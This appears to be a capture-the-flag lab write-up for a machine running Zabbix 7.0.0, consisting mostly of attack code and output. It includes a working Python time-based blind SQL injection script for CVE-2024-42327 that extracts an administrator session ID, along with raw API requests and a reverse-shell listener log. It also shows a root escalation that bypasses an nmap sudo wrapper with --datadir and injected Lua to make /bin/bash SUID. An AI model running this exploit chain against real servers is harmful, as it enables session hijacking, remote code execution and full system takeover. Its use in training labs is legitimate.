{"jsonrpc":"2.0","result":"<AUTH_TOKEN>","id":1}

{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}

POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.129.231.176
Content-Type: application/json-rpc

{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {
    "output": ["userid", "username"],
    "selectRole": ["roleid", "name *"],
    "editable": 1
  },
  "auth": "<AUTH_TOKEN>",
  "id": 1
}

import requests, json
from datetime import datetime
import string, random, sys
from concurrent.futures import ThreadPoolExecutor

URL = "http://10.129.231.176/zabbix/api_jsonrpc.php"
TRUE_TIME = 1
ROW = 0
USERNAME = "matthew"
PASSWORD = "96qzn0h2e1k3"

def authenticate():
    payload = {
        "jsonrpc": "2.0",
        "method": "user.login",
        "params": {
            "username": f"{USERNAME}",
            "password": f"{PASSWORD}"
        },
        "id": 1
    }

    response = requests.post(URL, json=payload)

    if response.status_code == 200:
        try:
            response_json = response.json()
            auth_token = response_json.get("result")
            if auth_token:
                print(f"Login successful! Auth token: {auth_token}")
                return auth_token
            else:
                print(f"Login failed. Response: {response_json}")
        except Exception as e:
            print(f"Error: {str(e)}")
    else:
        print(f"HTTP request failed with status code {response.status_code}")

def send_injection(auth_token, position, char):
    payload = {
        "jsonrpc": "2.0",
        "method": "user.get",
        "params": {
            "output": ["userid", "username"],
            "selectRole": [
                "roleid",
                f"name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF)"
            ],
            "editable": 1,
        },
        "auth": f"{auth_token}",
        "id": 1
    }

    before_query = datetime.now().timestamp()
    response = requests.post(URL, json=payload)
    after_query = datetime.now().timestamp()

    response_time = after_query - before_query
    return char, response_time

def test_characters_parallel(auth_token, position):
    with ThreadPoolExecutor(max_workers=10) as executor:
        futures = {executor.submit(send_injection, auth_token, position, char): char for char in string.printable}
        for future in futures:
            char, response_time = future.result()
            if TRUE_TIME - 0.5 < response_time < TRUE_TIME + 0.5:
                return char
    return None

def print_progress(extracted_value):
    sys.stdout.write(f"\rExtracting admin session: {extracted_value}")
    sys.stdout.flush()

def extract_admin_session_parallel(auth_token):
    extracted_value = ""
    max_length = 32
    for position in range(1, max_length + 1):
        char = test_characters_parallel(auth_token, position)
        if char:
            extracted_value += char
            print_progress(extracted_value)
        else:
            print(f"\n(-) No character found at position {position}, stopping.")
            break
    return extracted_value

if __name__ == "__main__":
    print("Authenticating...")
    auth_token = authenticate()
    print("Starting data extraction...")
    admin_session = extract_admin_session_parallel(auth_token)

Authenticating...
Login successful! Auth token: <redacted>
Starting data extraction...
Extracting admin session: <ADMIN_SESSION_ID>

{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}

{"jsonrpc":"2.0","result":{"itemids":["47184"]},"id":1}

Listening on 0.0.0.0 4448
Connection received on 10.129.231.176 43272
bash: cannot set terminal process group (14802): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$

Matching Defaults entries for zabbix on unrested:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
    use_pty

User zabbix may run the following commands on unrested:
    (ALL : ALL) NOPASSWD: /usr/bin/nmap *

#!/bin/bash

#################################
## Restrictive nmap for Zabbix ##
#################################

# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
    ["--interactive"]="Interactive mode is disabled for security reasons."
    ["--script"]="Script mode is disabled for security reasons."
    ["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
    ["-iL"]="File input mode is disabled for security reasons."
)

# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
    if [[ "$*" == *"$option"* ]]; then
        echo "${RESTRICTED_OPTIONS[$option]}"
        exit 1
    fi
done

# Execute the original nmap binary with the provided arguments
exec /usr/bin/nmap.original "$@"

-rwxr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash

Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-02 00:09 UTC
nmap.original: nse_main.cc:619: int run_main(lua_State*): Assertion `lua_isfunction(L, -1)' failed.
Aborted

-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash

Enumerate Zabbix 7.0.0
    ↓
Authenticate as matthew user
    ↓
CVE-2024-36467: Exploit missing access controls in user.update() via usrgrps parameter
    ↓
Become Zabbix administrator
    ↓
CVE-2024-42327: SQL injection in user.get() selectRole parameter
    ↓
Extract admin session from zabbix.sessions table
    ↓
Create malicious Zabbix item with reverse shell
    ↓
Gain RCE as zabbix user
    ↓
Enumerate sudo privileges: sudo /usr/bin/nmap *
    ↓
Bypass nmap wrapper restrictions with --datadir=/tmp
    ↓
Inject Lua code into /tmp/nse_main.lua
    ↓
Execute nmap with -sC to trigger Lua execution
    ↓
SUID /bin/bash as root
    ↓
Spawn root shell
    ↓
Root Access

User Flag: <redacted>
Root Flag: <redacted>